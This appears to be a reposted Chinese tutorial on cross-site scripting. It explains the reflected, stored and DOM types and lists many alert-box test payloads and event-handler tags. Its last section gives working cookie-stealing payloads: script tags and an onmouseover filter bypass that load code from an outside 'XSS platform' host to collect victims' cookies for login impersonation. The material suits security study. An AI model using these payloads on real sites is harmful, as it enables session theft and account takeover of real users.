//复习//XSS 的艺术

Posted Securitainment

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了//复习//XSS 的艺术相关的知识,希望对你有一定的参考价值。

0x00 什么是 XSS ?

XSS 全称跨站脚本 (Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS) 的缩写混淆,故缩写为 XSS,比较合适的方式应该叫做跨站脚本攻击。

跨站脚本攻击是一种常见的 web 安全漏洞,它主要是指攻击者可以在页面中插入恶意脚本代码,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份 / 钓鱼 / 传播恶意代码等行为。


上图就是一个典型的存储型 XSS。

什么是 Payload?

Payload 是一个专业术语,中文翻译过来是是有效荷载,可能经常会从搞安全的口里说出,那么什么是 Payload?什么又是 Exp?什么又是 PoC?

先介绍 PoC,PoC 的全称是 Proof of Concept,意思为概念验证,通俗的可以理解为漏洞验证脚本;而 Exp 是 Exploit 的简写,意思为漏洞利用,两者的区别即使一个仅限于验证,而一个是攻击利用。那么 Payload 呢?Payload 是组成 PoC 和 Exp 的必要部分,也可以理解为验证代码。

打个比喻,假如某个窗户存在问题,任何钥匙都可以开,那么这个比喻为一个漏洞,那么用钥匙打开窗户,看下是否可以打开,这是 PoC 做的事,而打开窗户后进去偷东西,这是 Exp 做的事,而那把钥匙就可以理解为 Payload,Payload 不区分是否攻击利用。

比如刚才上图中的那个 XSS 漏洞的 Payload 如下:

<img src=0 onerror=alert(5)>

XSS 是怎么产生的?

经常也会听到一个词,注入点,或者说专业术语是向量,指的是黑客可控内容的提交的位置,比如下图中,搜索框,黑客可以控制输入的内容,然后进行提交,那么实际在测试漏洞的时候,就可以把注入点的内容替换为 Payload 进行验证。


而 XSS 或者说 Web 漏洞是怎么产生的?对非预期输入的信任!

安全的本质是信任的问题,在上图中,搜索框的设置对于开发者来说,理论上应该输入的是正常的字符串,进行搜索,这是一种对输入的信任,并且这种信任对于开发者来说是有预期的,在他的预期里输入是正常的字符串,而漏洞的产生就在于出现了非预期的情况,开发者没有针对性的做处理。

test //预期无害的输入
XSStest" onmouseover=alert(4438) x="  //非预期输入

0x01 XSS 分类

接下来来看看不同的 XSS 分类。

  • 反射型(非持久型)

  • 存储型(持久型)

  • DOM 型

  • 这是最常见的三种分类:

存储型

存储型 XSS 也叫持久型 XSS,存储的意思就是 Payload 是有经过存储的,当一个页面存在存储型 XSS 的时候,XSS 注入成功后,那么每次访问该页面都将触发 XSS,典型的例子是:

如留言板

1、插入留言 => 内容存储到数据库
2、查看留言 => 内容从数据库提取出来
3、内容在页面显示

如果这里存在 XSS,Payload 可以通过留言内容提交,然后显示在页面的时候可以生效,那么就是典型的存储型 XSS。


开头的那个就是存储型 XSS,而这个也是之前微信网页版存在的另外一个存储型 XSS,昵称中包含 XSS 的 Payload,在点开查看群成员列表的时候就可以触发 XSS。

反射型

反射型 XSS 也叫非持久型 XSS,最常见的是 Payload 是构造在网址的某个 GET 参数的值里。

比如这样的:

http://www.xx.com/company/search.html?key_pro="><script>confirm(1501)</script>

与存储型相反,反射型 XSS 的是通过提交内容,然后不经过数据库,直接反射回显在页面上,比如说以下代码就存在反射想的 XSS,通过参数 get 的值提交 Payload:

echo $_GET['get'];

DOM 型

http://wechat.com/en/features.html#<img src=0 onerror='alert(0)'>

而其背后代码生效大概是这样的:

<script>
var name = location.hash;
document.write(name);
</script>


其他类型 XSS

上面是大家经常听到的 XSS 类型,其实细分下来还有其他的 XSS 类型:

  • mXSS 突变型 XSS

  • UXSS 通用型 XSS

  • Flash XSS

  • UTF-7 XSS

  • MHTML XSS

  • CSS XSS

  • VBScript XSS

其中 UTF-7、MHTML XSS、CSS XSS、VBScript XSS 只在低版本的 IE 中可以生效,如果感兴趣大家可以自行查看相关资料。

0x02 常用事件

script 类

<script>alert("xss")</script>
<script>alert(/xss/)</script>// 双引号换成斜杠
<script>alert('xss')</script>// 用单引号
<script>alert("xss");</script>// 用分号
<script>alert('xss');</script>
<script>alert(/xss/);</script>
<script>alert("jdq")// 自动补全
<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>// 用分号
<script>alert("xss");;;;;;;;;;;;;;;;;   ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>// 空格 + 分号
<script>alert("xss");;;;;;;;;;;;;;;;;       ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>// 换行符
<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>// 回车

On 事件

Onclick

事件会在对象被点击时发生。

<a>, <address>, <area>, <b>, <bdo>,<big>, <blockquote>, <body>, <button>,
<caption>, <cite>, <code>,<dd>, <dfn>, <div>, <dl>, <dt>, <em>,<fieldset>,
<form>, <h1> to<h6>, <hr>, <i>, <img>, <input>, <kbd>,<label>, <legend>,
<li>, <map>,<object>, <ol>, <p>, <pre>, <samp>,<select>, <small>, <span>,
<strong>, <sub>,<sup>, <table>, <tbody>, <td>, <textarea>,<tfoot>, <th>,
<thead>, <tr>,<tt>, <ul>, <var>

Onload

页面加载之后立即执行一段 javascript

<bodyonload="load()">

onerror

如果在加载图片时发生错误则执行 JavaScript :

<img onerror="myFunction()">

ondrag

元素开始拖动时执行 JavaScript:

<p draggable="true"ondrag="alert(1)">Dragme!</p>

onhashchange

当锚部分发生变化时执行 JavaScript:

<body/onhashchange=alert(1)><ahref=#>clickit

0x03 获取信息及 xss 平台使用

测试代码

测试弹框:

alert(1)

获取 cookie :

document.cookie

获取 html 中 id 的信息:

document.getElementById('header_search').innerHTML

两者结合:

alert(document.cookie+document.getElementById('header_search').innerHTML)

xss 平台获取 cookie

平常可能这个就是用的最多的方式了。
前提我们已经找到一个 xss 可利用的点后,我们现在可通过网上的 xss 平台或者自己搭建的平台来接受 cookie。获取到 cookie 后模拟登陆
过程


访问 xss 平台,创建一个项目,自己命一个名:


选择默认板块,他将会给你提示,怎么使用,你可以直接在找到的地方如下进行利用即可:


<script src=http://t.cn/xx></script>

当过滤了 <script> 后怎么利用呢?
可以考虑如下:

<a onmouseover=s=createElement('script');body.appendChild(s);s.src=http://t.cn/xx>sss</a>

其他标签 xss 类似,只需将 alert(1) 改为

s=createElement('script');body.appendChild(s);s.src= http://t.cn/xx

即可



注意事项
当网站的 cookie 值采用 httponly 时是获取不到 cookie 的值。


Cross-site Scripting (XSS) - OWASP

Application Security – Google

Black-Hole - FreeBuf互联网安全新媒体平台 | 关注黑客与极客

HTML5 Security Cheatsheet

以上是关于//复习//XSS 的艺术的主要内容,如果未能解决你的问题,请参考以下文章

前端技能树,面试复习第 36 天—— 浏览器原理:如何预防 XSS 攻击与 CSRF 攻击

XSS:如何从 C# 中的字符串中删除 JS 片段?

通过脚本片段绕过XSS防御

XSS-Fuzz的艺术丨咖面100期

JavaScript DOM 编程艺术-复习1

XSS基础学习